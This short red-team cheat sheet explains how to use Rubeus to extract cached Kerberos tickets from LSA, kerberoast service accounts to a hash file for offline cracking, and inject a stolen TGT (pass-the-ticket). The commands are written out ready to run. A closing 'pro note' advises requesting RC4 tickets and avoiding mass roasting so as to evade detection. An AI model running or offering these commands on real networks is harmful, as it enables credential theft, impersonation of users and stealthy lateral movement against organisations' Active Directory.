Extract Kerberos tickets and keys from LSA with Rubeus

LSA caches Kerberos tickets for logged-on users. Extracting a TGT lets you pass-the-ticket as that user; harvesting service tickets for accounts with SPNs feeds offline cracking (kerberoasting) without touching LSASS on disk.

# dump all cached tickets (SYSTEM sees every session's)
Rubeus.exe dump /nowrap
# or triage which sessions hold high-value TGTs
Rubeus.exe triage

Roast service accounts and pass a recovered ticket.

Rubeus.exe kerberoast /outfile:hashes.txt
Rubeus.exe ptt /ticket:BASE64TGT   # inject then use as that user

Pro note: requesting RC4 service tickets makes them crackable, but AES-only accounts resist it, so read the supported encryption types first. Overzealous roasting of every SPN at once is a strong detection signal; target the accounts whose passwords are most likely weak.